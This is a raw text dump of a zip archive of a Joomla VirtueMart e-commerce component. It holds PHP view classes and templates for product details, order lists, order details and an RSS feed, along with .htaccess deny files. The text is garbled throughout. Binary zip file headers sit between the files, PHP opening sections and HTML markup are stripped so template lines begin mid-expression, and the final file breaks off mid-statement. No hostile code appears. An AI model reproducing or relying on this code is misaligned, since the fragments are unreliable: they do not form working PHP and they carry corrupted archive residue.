          product->images) && count($this->product->images)>0) { echo $this->product->images[0]->displayMediaFull('class="product-image"',false); ?>
          product->images as $image) { echo $image->displayMediaThumb('class="product-image"'); //'class="modal"' } ?>
          product->product_s_desc)) { ?>
          product->product_s_desc; ?>
          product->virtuemart_vendor_id); $text = JText::_('COM_VIRTUEMART_VENDOR_FORM_INFO_LBL'); echo ''. JText::_('COM_VIRTUEMART_PRODUCT_DETAILS_VENDOR_LBL'). ''; ?>
          */ ?> rating)? JText::_('COM_VIRTUEMART_UNRATED'):$this->rating->rating; echo JText::_('COM_VIRTUEMART_RATING') . $rating; // Product Price if ($this->show_prices) { ?>
          product->product_unit && VmConfig::get ( 'price_show_packaging_pricelabel' )) { echo "" . JText::_ ( 'COM_VIRTUEMART_CART_PRICE_PER_UNIT' ) . ' (' . $this->product->product_unit . "):"; } else { echo "" . JText::_ ( 'COM_VIRTUEMART_CART_PRICE' ) . ""; } echo $this->currency->createPriceDiv ( 'variantModification', 'COM_VIRTUEMART_PRODUCT_VARIANT_MOD', $this->product->prices ); echo $this->currency->createPriceDiv ( 'basePriceWithTax', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX', $this->product->prices ); echo $this->currency->createPriceDiv ( 'discountedPriceWithoutTax', 'COM_VIRTUEMART_PRODUCT_DISCOUNTED_PRICE', $this->product->prices ); echo $this->currency->createPriceDiv ( 'salesPriceWithDiscount', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT', $this->product->prices ); echo $this->currency->createPriceDiv ( 'salesPrice', 'COM_VIRTUEMART_PRODUCT_SALESPRICE', $this->product->prices ); echo $this->currency->createPriceDiv ( 'priceWithoutTax', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX', $this->product->prices ); echo $this->currency->createPriceDiv ( 'discountAmount', 'COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT', $this->product->prices ); echo $this->currency->createPriceDiv ( 'taxAmount', 'COM_VIRTUEMART_PRODUCT_TAX_AMOUNT', $this->product->prices ); ?>
          product->product_availability)) { ?>
          product->product_availability, $this->product->product_availability, array('class' => 'availability')); ?>
          product->virtuemart_product_id.'&virtuemart_category_id='.$this->product->virtuemart_category_id.'&tmpl=component'); ?>
          product->virtuemart_manufacturer_id)) { ?>
          product->virtuemart_manufacturer_id.'&tmpl=component'); $text = $this->product->mf_name; /* Avoid JavaScript on PDF Output */ if (strtolower(JRequest::getWord('output')) == "pdf"){ echo JHTML::_('link', $link, $text); } else { ?>
          product->product_desc)) { ?>
          product->product_desc; ?>
          product->customfields)) { ?>
          product->customfields as $field){ ?>
          custom_title != $custom_title) { ?> custom_title); ?> custom_tip, $field->custom_title, 'tooltip.png'); } ?> display ?> custom_field_desc) ?>
          custom_title; } ?>
          product->product_box) { ?>
          product->product_box; ?>
          product->images as $fkey => $file) { // Todo add downloadable files again // if( $file->filesize > 0.5) $filesize_display = ' ('. number_format($file->filesize, 2,',','.')." MB)"; // else $filesize_display = ' ('. number_format($file->filesize*1024, 2,',','.')." KB)"; /* Show pdf in a new Window, other file types will be offered as download */ // $target = stristr($file->file_mimetype, "pdf") ? "_blank" : "_self"; // $link = JRoute::_('index.php?view=productdetails&task=getfile&virtuemart_media_id='.$file->virtuemart_media_id.'&virtuemart_product_id='.$this->product->virtuemart_product_id); // echo JHTMl::_('link', $link, $file->file_title.$filesize_display, array('target' => $target)); // } ?> product->related && !empty($this->product->related)) { $iRelatedCol = 1; $iRelatedProduct = 1; $RelatedProducts_per_row = 4 ; $Relatedcellwidth = ' width'.floor ( 100 / $RelatedProducts_per_row ); $verticalseparator = " vertical-separator"; ?>
          allowRating || $this->showReview) { $maxrating = VmConfig::get('vm_maximum_rating_scale',5); $ratingsShow = VmConfig::get('vm_num_ratings_show',3); // TODO add vm_num_ratings_show in vmConfig $starsPath = JURI::root().VmConfig::get('assets_general_path').'images/stars/'; $stars = array(); $showall = JRequest::getBool('showall', false); for ($num=0 ; $num <= $maxrating; $num++ ) { $title = (JText::_("VM_RATING_TITLE").' : '. $num . '/' . $maxrating) ; $stars[] = JHTML::image($starsPath.$num.'.gif', JText::_($num.'_STARS'), array("title" => $title) ); } ?>
          showReview) { $alreadycommented = false; ?>

          rating_reviews as $review ) { if ($i % 2 == 0) { $color = 'normal'; } else { $color = 'highlight'; } ?> rating_reviews)) { ?>
          created_on, JText::_('DATE_FORMAT_LC')); ?> review_rating ] //Attention the review rating is the rating of the review itself, rating for the product is the vote !?>
          comment; ?>
          customer ?>
          rating_reviews) < 1) { // "There are no reviews for this product" ?> rating_reviews) >= $ratingsShow ) { $attribute = array('class'=>'details', 'title'=>JText::_('COM_VIRTUEMART_MORE_REVIEWS')); echo JHTML::link($this->more_reviews, JText::_('COM_VIRTUEMART_MORE_REVIEWS'),$attribute); } } ?>
          allowRating || $this->showReview) { ?>
          PKtl>\711Rcom_virtuemart_update/components/com_virtuemart/views/productdetails/view.html.phpnuW+AassignRef('show_prices', $show_prices); $document = JFactory::getDocument(); // add javascript for price and cart, need even for quantity buttons, so we need it almost anywhere vmJsApi::jPrice(); $mainframe = JFactory::getApplication(); $pathway = $mainframe->getPathway(); $task = JRequest::getCmd('task'); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); // Load the product //$product = $this->get('product'); //Why it is sensefull to use this construction? Imho it makes it just harder $product_model = VmModel::getModel('product'); $this->assignRef('product_model', $product_model); $virtuemart_product_idArray = JRequest::getVar('virtuemart_product_id', 0); if (is_array($virtuemart_product_idArray) and count($virtuemart_product_idArray) > 0) { $virtuemart_product_id = (int)$virtuemart_product_idArray[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_idArray; } $quantityArray = JRequest::getVar ('quantity', array()); //is sanitized then JArrayHelper::toInteger ($quantityArray); $quantity = 1; if (!empty($quantityArray[0])) { $quantity = $quantityArray[0]; } $product = $product_model->getProduct($virtuemart_product_id,TRUE,TRUE,TRUE,$quantity); if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); $last_category_id = shopFunctionsF::getLastVisitedCategoryId(); if (empty($product->slug)) { //Todo this should be redesigned to fit better for SEO $mainframe->enqueueMessage(JText::_('COM_VIRTUEMART_PRODUCT_NOT_FOUND')); $categoryLink = ''; if (!$last_category_id) { $last_category_id = JRequest::getInt('virtuemart_category_id', false); } if ($last_category_id) { $categoryLink = '&virtuemart_category_id=' . $last_category_id; } if (VmConfig::get('handle_404',1)) { $mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=category' . $categoryLink . '&error=404', FALSE)); } else { JError::raise(E_ERROR,'404','Not found'); } return; } if (!empty($product->customfields)) { foreach ($product->customfields as $k => $custom) { if (!empty($custom->layout_pos)) { $product->customfieldsSorted[$custom->layout_pos][] = $custom; unset($product->customfields[$k]); } } $product->customfieldsSorted['normal'] = $product->customfields; unset($product->customfields); } $product->event = new stdClass(); $product->event->afterDisplayTitle = ''; $product->event->beforeDisplayContent = ''; $product->event->afterDisplayContent = ''; if (VmConfig::get('enable_content_plugin', 0)) { shopFunctionsF::triggerContentPlugin($product, 'productdetails','product_desc'); } $product_model->addImages($product); $this->assignRef('product', $product); if (isset($product->min_order_level) && (int) $product->min_order_level > 0) { $min_order_level = $product->min_order_level; } else { $min_order_level = 1; } $this->assignRef('min_order_level', $min_order_level); if (isset($product->step_order_level) && (int) $product->step_order_level > 0) { $step_order_level = $product->step_order_level; } else { $step_order_level = 1; } $this->assignRef('step_order_level', $step_order_level); // Load the neighbours if (VmConfig::get('product_navigation', 1)) { $product->neighbours = $product_model->getNeighborProducts($product); } // Load the category $category_model = VmModel::getModel('category'); shopFunctionsF::setLastVisitedCategoryId($product->virtuemart_category_id); if ($category_model) { $category = $category_model->getCategory($product->virtuemart_category_id); $category_model->addImages($category, 1); $this->assignRef('category', $category); //Seems we dont need this anylonger, destroyed the breadcrumb if ($category->parents) { foreach ($category->parents as $c) { if(is_object($c) and isset($c->category_name)){ $pathway->addItem(strip_tags($c->category_name), JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id=' . $c->virtuemart_category_id, FALSE)); } else { vmdebug('Error, parent category has no name, breadcrumb maybe broken, category',$c); } } } $category->children = $category_model->getChildCategoryList($product->virtuemart_vendor_id, $product->virtuemart_category_id); $category_model->addImages($category->children, 1); } if (!empty($tpl)) { $format = $tpl; } else { $format = JRequest::getWord('format', 'html'); } if ($format == 'html') { // Set Canonic link $document->addHeadLink($product->canonical, 'canonical', 'rel', ''); } $pathway->addItem(strip_tags($product->product_name)); // Set the titles // $document->setTitle should be after the additem pathway if ($product->customtitle) { $document->setTitle(strip_tags($product->customtitle)); } else { $document->setTitle(strip_tags(($category->category_name ? ($category->category_name . ' : ') : '') . $product->product_name)); } $ratingModel = VmModel::getModel('ratings'); $allowReview = $ratingModel->allowReview($product->virtuemart_product_id); $this->assignRef('allowReview', $allowReview); $showReview = $ratingModel->showReview($product->virtuemart_product_id); $this->assignRef('showReview', $showReview); if ($showReview) { $review = $ratingModel->getReviewByProduct($product->virtuemart_product_id); $this->assignRef('review', $review); $rating_reviews = $ratingModel->getReviews($product->virtuemart_product_id); $this->assignRef('rating_reviews', $rating_reviews); } $showRating = $ratingModel->showRating($product->virtuemart_product_id); $this->assignRef('showRating', $showRating); if ($showRating) { $vote = $ratingModel->getVoteByProduct($product->virtuemart_product_id); $this->assignRef('vote', $vote); $rating = $ratingModel->getRatingByProduct($product->virtuemart_product_id); $this->assignRef('rating', $rating); } $allowRating = $ratingModel->allowRating($product->virtuemart_product_id); $this->assignRef('allowRating', $allowRating); // Check for editing access // @todo build edit page if (!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); //if (Permissions::getInstance()->check("admin,storeadmin")) { $perm = Permissions::getInstance(); $admin = $perm->check("admin"); if(!$admin) vmdebug('No admin'); $storeadmin = $perm->check("admin,storeadmin"); if(!$storeadmin) vmdebug('No $storeadmin'); $superVendor = $perm->isSuperVendor(); if(!$superVendor) vmdebug('No $superVendor'); if($admin or ($perm->isSuperVendor()==$product->virtuemart_vendor_id and $storeadmin)){ $edit_link = JURI::root() . 'index.php?option=com_virtuemart&tmpl=component&view=product&task=edit&virtuemart_product_id=' . $product->virtuemart_product_id; $edit_link = $this->linkIcon($edit_link, 'COM_VIRTUEMART_PRODUCT_FORM_EDIT_PRODUCT', 'edit', false, false); } else { $edit_link = ""; } $this->assignRef('edit_link', $edit_link); // todo: atm same form for "call for price" and "ask a question". Title of the form should be different $askquestion_url = JRoute::_('index.php?option=com_virtuemart&view=productdetails&task=askquestion&virtuemart_product_id=' . $product->virtuemart_product_id . '&virtuemart_category_id=' . $product->virtuemart_category_id . '&tmpl=component', FALSE); $this->assignRef('askquestion_url', $askquestion_url); // Load the user details $user = JFactory::getUser(); $this->assignRef('user',$user); // More reviews link $uri = JURI::getInstance(); $uri->setVar('showall', 1); $uristring = vmURI::getCleanUrl(); $this->assignRef('more_reviews', $uristring); if ($product->metadesc) { $document->setDescription($product->metadesc); } if ($product->metakey) { $document->setMetaData('keywords', $product->metakey); } if ($product->metarobot) { $document->setMetaData('robots', $product->metarobot); } if ($mainframe->getCfg('MetaTitle') == '1') { $document->setMetaData('title', $product->product_name); //Maybe better product_name } if ($mainframe->getCfg('MetaAuthor') == '1') { $document->setMetaData('author', $product->metaauthor); } $showBasePrice = Permissions::getInstance()->check('admin'); //todo add config settings $this->assignRef('showBasePrice', $showBasePrice); $productDisplayShipments = array(); $productDisplayPayments = array(); if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnProductDisplayShipment', array($product, &$productDisplayShipments)); $returnValues = $dispatcher->trigger('plgVmOnProductDisplayPayment', array($product, &$productDisplayPayments)); $this->assignRef('productDisplayPayments', $productDisplayPayments); $this->assignRef('productDisplayShipments', $productDisplayShipments); if (empty($category->category_template)) { $category->category_template = VmConfig::get('categorytemplate'); } shopFunctionsF::setVmTemplate($this, $category->category_template, $product->product_template, $category->category_product_layout, $product->layout); shopFunctionsF::addProductToRecent($virtuemart_product_id); $currency = CurrencyDisplay::getInstance(); $this->assignRef('currency', $currency); if(JRequest::getCmd( 'layout', 'default' )=='notify') $this->setLayout('notify'); //Added by Seyi Awofadeju to catch notify layout parent::display($tpl); } function renderMailLayout ($doVendor, $recipient) { $tpl = VmConfig::get('order_mail_html') ? 'mail_html_notify' : 'mail_raw_notify'; $this->doVendor=$doVendor; $this->fromPdf=false; $this->uselayout = $tpl; $this->subject = !empty($this->subject) ? $this->subject : JText::_('COM_VIRTUEMART_CART_NOTIFY_MAIL_SUBJECT'); $this->layoutName = $tpl; $this->setLayout($tpl); parent::display(); } private function showLastCategory($tpl) { $virtuemart_category_id = shopFunctionsF::getLastVisitedCategoryId(); $categoryLink = ''; if ($virtuemart_category_id) { $categoryLink = '&virtuemart_category_id=' . $virtuemart_category_id; } $continue_link = JRoute::_('index.php?option=com_virtuemart&view=category' . $categoryLink, FALSE); $continue_link_html = '' . JText::_('COM_VIRTUEMART_CONTINUE_SHOPPING') . ''; $this->assignRef('continue_link_html', $continue_link_html); // Display it all parent::display($tpl); } } // pure php no closing tagPKtl>\)Ncom_virtuemart_update/components/com_virtuemart/views/productdetails/.htaccessnuW+A Order allow,deny Deny from all PKtl>\Ocom_virtuemart_update/components/com_virtuemart/views/pluginresponse/index.htmlnuW+APKtl>\)Scom_virtuemart_update/components/com_virtuemart/views/pluginresponse/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\2nUcom_virtuemart_update/components/com_virtuemart/views/pluginresponse/tmpl/default.phpnuW+A" . $this->paymentResponse . ""; if ($this->paymentResponseHtml) { echo "
          "; echo $this->paymentResponseHtml; echo "
          "; } // add something??? PKtl>\Tcom_virtuemart_update/components/com_virtuemart/views/pluginresponse/tmpl/index.htmlnuW+APKtl>\ʅQcom_virtuemart_update/components/com_virtuemart/views/pluginresponse/metadata.xmlnuW+A PKtl>\)Ncom_virtuemart_update/components/com_virtuemart/views/pluginresponse/.htaccessnuW+A Order allow,deny Deny from all PKtl>\$BN&&Rcom_virtuemart_update/components/com_virtuemart/views/pluginresponse/view.html.phpnuW+AgetPathway(); $document = JFactory::getDocument(); // $paymentResponse = JRequest::getVar('paymentResponse', ''); //Why do you we allow raw here? // $paymentResponseHtml = JRequest::getVar('paymentResponseHtml','','default','STRING',JREQUEST_ALLOWRAW); $layoutName = $this->getLayout(); $document->setMetaData('robots','NOINDEX, NOFOLLOW, NOARCHIVE, NOSNIPPET'); parent::display($tpl); } } //no closing tagPKtl>\Gcom_virtuemart_update/components/com_virtuemart/views/orders/index.htmlnuW+APKtl>\)Fcom_virtuemart_update/components/com_virtuemart/views/orders/.htaccessnuW+A Order allow,deny Deny from all PKtl>\ۆ Mcom_virtuemart_update/components/com_virtuemart/views/orders/tmpl/details.phpnuW+Aprint){ ?>

          vendor->vendor_store_name; ?>

          vendor->vendor_name .' - '.$this->vendor->vendor_phone ?>

          loadTemplate('order'); ?>
          loadTemplate('items'); ?>
          vendor->vendor_letter_footer_html; ?>

          details_url', 'win2', 'status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=480,directories=no,location=no');\" >"; //$details_link .= ' '; $button = (JVM_VERSION==1) ? '/images/M_images/printButton.png' : 'system/printButton.png'; $details_link .= JHtml::_('image',$button, JText::_('COM_VIRTUEMART_PRINT'), NULL, true); $details_link .= ''; echo $details_link; ?>

          order_list_link){ ?>
          loadTemplate('order'); ?>


          PKtl>\< RMcom_virtuemart_update/components/com_virtuemart/views/orders/tmpl/details.xmlnuW+A PKtl>\͏Jcom_virtuemart_update/components/com_virtuemart/views/orders/tmpl/list.xmlnuW+A COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE PKtl>\Q&&Scom_virtuemart_update/components/com_virtuemart/views/orders/tmpl/details_items.phpnuW+Aformat == 'pdf'){ $widthTable = '100'; $widthTitle = '27'; } else { $widthTable = '100'; $widthTitle = '49'; } ?> orderdetails['items'] as $item) { $qtt = $item->product_quantity ; $_link = JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_category_id=' . $item->virtuemart_category_id . '&virtuemart_product_id=' . $item->virtuemart_product_id, FALSE); ?> orderdetails['details']['BT']->coupon_discount <> 0.00) { $coupon_code=$this->orderdetails['details']['BT']->coupon_code?' ('.$this->orderdetails['details']['BT']->coupon_code.')':''; ?> orderdetails['calc_rules'] as $rule){ if ($rule->calc_kind== 'DBTaxRulesBill') { ?> calc_kind == 'taxRulesBill') { ?> calc_kind == 'DATaxRulesBill') { ?>
          order_item_sku; ?> product_attribute)) { if(!class_exists('VirtueMartModelCustomfields'))require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'customfields.php'); $product_attribute = VirtueMartModelCustomfields::CustomsFieldOrderDisplay($item,'FE'); echo $product_attribute; } ?> orderstatuses[$item->order_status]; ?> product_discountedPriceWithoutTax = (float) $item->product_discountedPriceWithoutTax; if (!empty($item->product_priceWithoutTax) && $item->product_discountedPriceWithoutTax != $item->product_priceWithoutTax) { echo ''.$this->currency->priceDisplay($item->product_item_price, $this->currency) .'
          '; echo ''.$this->currency->priceDisplay($item->product_discountedPriceWithoutTax, $this->currency) .'
          '; } else { echo ''.$this->currency->priceDisplay($item->product_item_price, $this->currency) .'
          '; } ?>
          ".$this->currency->priceDisplay($item->product_tax ,$this->currency, $qtt)."" ?> currency->priceDisplay( $item->product_subtotal_discount ,$this->currency); //No quantity is already stored with it ?> product_basePriceWithTax = (float) $item->product_basePriceWithTax; $class = ''; if(!empty($item->product_basePriceWithTax) && $item->product_basePriceWithTax != $item->product_final_price ) { echo ''.$this->currency->priceDisplay($item->product_basePriceWithTax,$this->currency,$qtt) .'
          ' ; } elseif (empty($item->product_basePriceWithTax) && $item->product_item_price != $item->product_final_price) { echo '' . $this->currency->priceDisplay($item->product_item_price,$this->currency,$qtt) . '
          '; } echo $this->currency->priceDisplay( $item->product_subtotal_with_tax ,$this->currency); //No quantity or you must use product_final_price ?>
          ".$this->currency->priceDisplay($this->orderdetails['details']['BT']->order_tax,$this->currency)."" ?> ".$this->currency->priceDisplay($this->orderdetails['details']['BT']->order_discountAmount,$this->currency)."" ?> currency->priceDisplay($this->orderdetails['details']['BT']->order_salesPrice,$this->currency) ?>
              currency->priceDisplay($this->orderdetails['details']['BT']->coupon_discount,$this->currency); ?>
          calc_rule_name ?> currency->priceDisplay($rule->calc_amount,$this->currency); ?> currency->priceDisplay($rule->calc_amount,$this->currency); ?>
          calc_rule_name ?> currency->priceDisplay($rule->calc_amount,$this->currency); ?> currency->priceDisplay($rule->calc_amount,$this->currency); ?>
          calc_rule_name ?> currency->priceDisplay($rule->calc_amount,$this->currency); ?> currency->priceDisplay($rule->calc_amount,$this->currency); ?>
          ".$this->currency->priceDisplay($this->orderdetails['details']['BT']->order_shipment_tax, $this->currency)."" ?>   currency->priceDisplay($this->orderdetails['details']['BT']->order_shipment+ $this->orderdetails['details']['BT']->order_shipment_tax, $this->currency); ?>
          ".$this->currency->priceDisplay($this->orderdetails['details']['BT']->order_payment_tax, $this->currency)."" ?>   currency->priceDisplay($this->orderdetails['details']['BT']->order_payment+ $this->orderdetails['details']['BT']->order_payment_tax, $this->currency); ?>
          currency->priceDisplay($this->orderdetails['details']['BT']->order_billTaxAmount, $this->currency); ?> currency->priceDisplay($this->orderdetails['details']['BT']->order_billDiscountAmount, $this->currency); ?> currency->priceDisplay($this->orderdetails['details']['BT']->order_total, $this->currency); ?>
          PKtl>\[Ucom_virtuemart_update/components/com_virtuemart/views/orders/tmpl/details_history.phpnuW+A orderdetails['history'] as $_hist) { if (!$_hist->customer_notified) { continue; } ?>
          created_on,'LC2',true); ?> orderstatuses[$_hist->order_status_code]; ?> comments; ?>
          PKtl>\ Hs s Jcom_virtuemart_update/components/com_virtuemart/views/orders/tmpl/list.phpnuW+A

          orderlist) == 0) { //echo JText::_('COM_VIRTUEMART_ACC_NO_ORDER'); echo shopFunctionsF::getLoginForm(false,true); } else { ?>
          orderlist as $row) { $editlink = JRoute::_('index.php?option=com_virtuemart&view=orders&layout=details&order_number=' . $row->order_number, FALSE); ?> ">
          order_number; ?> created_on,'LC4',true); ?> order_status); ?> currency->priceDisplay($row->order_total, $row->currency); ?>
          PKtl>\Lcom_virtuemart_update/components/com_virtuemart/views/orders/tmpl/index.htmlnuW+APKtl>\)Kcom_virtuemart_update/components/com_virtuemart/views/orders/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\5.  Scom_virtuemart_update/components/com_virtuemart/views/orders/tmpl/details_order.phpnuW+A
          orderdetails['details']['BT']->order_number; ?>
          orderdetails['details']['BT']->created_on, 'LC4', true); ?>
          orderstatuses[$this->orderdetails['details']['BT']->order_status]; ?>
          orderdetails['details']['BT']->modified_on, 'LC4', true); ?>
          shipment_name; ?>
          payment_name; ?>
          orderdetails['details']['BT']->customer_note; ?>
          currency->priceDisplay($this->orderdetails['details']['BT']->order_total, $this->currency); ?>
           

          userfields['fields'] as $field) { if (!empty($field['value'])) { echo '' . ''; } } ?>
          ' . $field['title'] . '' . $field['value'] . '

          shipmentfields['fields'] as $field) { if (!empty($field['value'])) { echo '' . ''; } } ?>
          ' . $field['title'] . '' . $field['value'] . '
          PKtl>\"0TQcom_virtuemart_update/components/com_virtuemart/views/orders/tmpl/details_pdf.phpnuW+A\Epw$$Jcom_virtuemart_update/components/com_virtuemart/views/orders/view.html.phpnuW+AgetPathway(); $task = JRequest::getWord('task', 'list'); $layoutName = JRequest::getWord('layout', 'list'); $this->setLayout($layoutName); $_currentUser = JFactory::getUser(); $document = JFactory::getDocument(); if(!empty($tpl)){ $format = $tpl; } else { $format = JRequest::getWord('format', 'html'); } $this->assignRef('format', $format); if($format=='pdf'){ $document->setTitle( JText::_('COM_VIRTUEMART_INVOICE') ); //PDF needs more RAM than usual VmConfig::ensureMemoryLimit(96); } else { if ($layoutName == 'details') { $document->setTitle( JText::_('COM_VIRTUEMART_ACC_ORDER_INFO') ); $pathway->additem(JText::_('COM_VIRTUEMART_ACC_ORDER_INFO')); } else { $document->setTitle( JText::_('COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE') ); $pathway->additem(JText::_('COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE')); } } $orderModel = VmModel::getModel('orders'); if ($layoutName == 'details') { $order_list_link = FALSE; $order_list_link = JRoute::_('index.php?option=com_virtuemart&view=orders&layout=list', FALSE); $this->assignRef('order_list_link', $order_list_link); $orderDetails = $orderModel ->getMyOrderDetails(); if(!$orderDetails or empty($orderDetails['details'])){ echo JText::_('COM_VIRTUEMART_ORDER_NOTFOUND'); return; } $userFieldsModel = VmModel::getModel('userfields'); $_userFields = $userFieldsModel->getUserFields( 'account' , array('captcha' => true, 'delimiters' => true) // Ignore these types , array('delimiter_userinfo','user_is_vendor' ,'username','password', 'password2', 'agreed', 'address_type') // Skips ); $orderbt = $orderDetails['details']['BT']; $orderst = (array_key_exists('ST', $orderDetails['details'])) ? $orderDetails['details']['ST'] : $orderbt; $userfields = $userFieldsModel->getUserFieldsFilled( $_userFields ,$orderbt ); $_userFields = $userFieldsModel->getUserFields( 'shipment' , array() // Default switches , array('delimiter_userinfo', 'username', 'email', 'password', 'password2', 'agreed', 'address_type') // Skips ); $shipmentfields = $userFieldsModel->getUserFieldsFilled( $_userFields ,$orderst ); $shipment_name=''; if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnShowOrderFEShipment',array( $orderDetails['details']['BT']->virtuemart_order_id, $orderDetails['details']['BT']->virtuemart_shipmentmethod_id, &$shipment_name)); $payment_name=''; if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnShowOrderFEPayment',array( $orderDetails['details']['BT']->virtuemart_order_id, $orderDetails['details']['BT']->virtuemart_paymentmethod_id, &$payment_name)); if($format=='pdf'){ $invoiceNumberDate = array(); $return = $orderModel->createInvoiceNumber($orderDetails['details']['BT'], $invoiceNumberDate ); if(empty($invoiceNumberDate)){ $invoiceNumberDate[0] = 'no invoice number accessible'; $invoiceNumberDate[1] = 'no invoice date accessible'; } $this->assignRef('invoiceNumber', $invoiceNumberDate[0]); $this->assignRef('invoiceDate', $invoiceNumberDate[1]); } $this->assignRef('userfields', $userfields); $this->assignRef('shipmentfields', $shipmentfields); $this->assignRef('shipment_name', $shipment_name); $this->assignRef('payment_name', $payment_name); $this->assignRef('orderdetails', $orderDetails); if($_currentUser->guest){ $details_url = juri::root().'index.php?option=com_virtuemart&view=orders&layout=details&tmpl=component&order_pass=' . JRequest::getString('order_pass',false) .'&order_number='.JRequest::getString('order_number',false); } else { $details_url = juri::root().'index.php?option=com_virtuemart&view=orders&layout=details&tmpl=component&virtuemart_order_id=' . $this->orderdetails['details']['BT']->virtuemart_order_id; } $this->assignRef('details_url', $details_url); $tmpl = JRequest::getWord('tmpl'); $print = false; if($tmpl){ $print = true; } $this->prepareVendor(); $this->assignRef('print', $print); $vendorId = 1; $emailCurrencyId = $orderDetails['details']['BT']->user_currency_id; $exchangeRate = FALSE; if (!class_exists ('vmPSPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); } JPluginHelper::importPlugin ('vmpayment'); $dispatcher = JDispatcher::getInstance (); $dispatcher->trigger ('plgVmgetEmailCurrency', array($orderDetails['details']['BT']->virtuemart_paymentmethod_id, $orderDetails['details']['BT']->virtuemart_order_id, &$emailCurrencyId)); if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $currency = CurrencyDisplay::getInstance ($emailCurrencyId, $vendorId); if ($emailCurrencyId) { vmdebug ('exchangerate', $orderDetails['details']['BT']->user_currency_rate); $currency->exchangeRateShopper = $orderDetails['details']['BT']->user_currency_rate; } $this->assignRef ('currency', $currency); // Implement the Joomla panels. If we need a ShipTo tab, make it the active one. // In tmpl/edit.php, this is the 4th tab (0-based, so set to 3 above) // jimport('joomla.html.pane'); // $pane = JPane::getInstance((__VM_ORDER_USE_SLIDERS?'Sliders':'Tabs')); // $this->assignRef('pane', $pane); } else { // 'list' -. default $useSSL = VmConfig::get('useSSL',0); $useXHTML = true; $this->assignRef('useSSL', $useSSL); $this->assignRef('useXHTML', $useXHTML); if ($_currentUser->get('id') == 0) { // getOrdersList() returns all orders when no userID is set (admin function), // so explicetly define an empty array when not logged in. $orderList = array(); } else { $orderList = $orderModel->getOrdersList($_currentUser->get('id'), TRUE); foreach ($orderList as $order) { $vendorId = 1; $emailCurrencyId = $order->user_currency_id; $exchangeRate = FALSE; if (!class_exists ('vmPSPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); } JPluginHelper::importPlugin ('vmpayment'); $dispatcher = JDispatcher::getInstance (); $dispatcher->trigger ('plgVmgetEmailCurrency', array($order->virtuemart_paymentmethod_id, $order->virtuemart_order_id, &$emailCurrencyId)); if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $currency = CurrencyDisplay::getInstance ($emailCurrencyId, $vendorId); $this->assignRef ('currency', $currency); if ($emailCurrencyId) { vmdebug ('exchangerate', $order->user_currency_rate); $currency->exchangeRateShopper = $order->user_currency_rate; } $order->currency = $currency; } } $this->assignRef('orderlist', $orderList); } /* if (!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'currencydisplay.php'); $currency = CurrencyDisplay::getInstance(); $this->assignRef('currency', $currency); */ $orderStatusModel = VmModel::getModel('orderstatus'); $_orderstatuses = $orderStatusModel->getOrderStatusList(); $orderstatuses = array(); foreach ($_orderstatuses as $_ordstat) { $orderstatuses[$_ordstat->order_status_code] = JText::_($_ordstat->order_status_name); } $this->assignRef('orderstatuses', $orderstatuses); if(!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $document = JFactory::getDocument(); $document->setMetaData('robots','NOINDEX, NOFOLLOW, NOARCHIVE, NOSNIPPET'); // this is no setting in BE to change the layout ! //shopFunctionsF::setVmTemplate($this,0,0,$layoutName); parent::display($tpl); } // add vendor for cart function prepareVendor(){ $vendorModel = VmModel::getModel('vendor'); $vendor = & $vendorModel->getVendor(); $this->assignRef('vendor', $vendor); $vendorModel->addImages($this->vendor,1); } } PKtl>\֪Ncom_virtuemart_update/components/com_virtuemart/views/virtuemart/view.feed.phpnuW+AgetProductListing ('featured', $featured_nb); } if (VmConfig::get ('feed_latest_published', 1)) { $latest_nb = VmConfig::get('feed_latest_nb'); $latest = $productModel->getProductListing ('latest', $latest_nb); } if ( VmConfig::get ('feed_topten_published', 1)) { $topTen_nb = VmConfig::get('feed_topten_nb'); $topten = $productModel->getProductListing ('topten',$topTen_nb); } $products = array_merge ($products, $featured, $latest, $topten); if ($feed_show_images == 1) { $productModel->addImages ($products, 1); } if ($products && $feed_show_prices == 1) { $currency = CurrencyDisplay::getInstance (); } foreach ($products as $product) { $title = $this->escape ($product->product_name); $title = 